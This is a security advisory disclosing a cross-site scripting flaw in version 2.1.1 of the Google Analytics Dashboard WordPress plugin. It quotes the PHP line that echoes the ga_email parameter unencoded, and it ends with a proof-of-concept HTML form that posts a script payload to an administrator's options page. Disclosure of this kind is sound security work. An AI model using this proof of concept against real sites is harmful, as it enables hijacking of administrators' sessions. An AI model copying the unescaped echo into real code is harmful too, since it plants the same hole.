Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160724-0026

Tested versions

This issue was successfully tested on Google Analytics Dashboard WordPress Plugin version 2.1.1.

Fix

There is currently no fix available.

Introduction

The Google Analytics Dashboard WordPress Plugin gives access to your Google Analytics data directly inside your WordPress blog. A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details

This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter.

<tr valign="top">
	<th scope="row">
		<label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th>
	<td>
		<input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php **echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' );** ?>" />
	</td>
</tr>

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
	<body>
		<form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST">
			<input type="hidden" name="gad&#95;login&#95;type" value="client" />
			<input type="hidden" name="ga&#95;email" value="&quot;><script>alert(1);</script>" />
			<input type="hidden" name="ga&#95;pass" value="password" />
			<input type="hidden" name="ga&#95;save&#95;pass" value="ga&#95;save&#95;pass" />
			<input type="hidden" name="SubmitLogin" value="Login&#32;?&#187;" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>

Questions or feedback?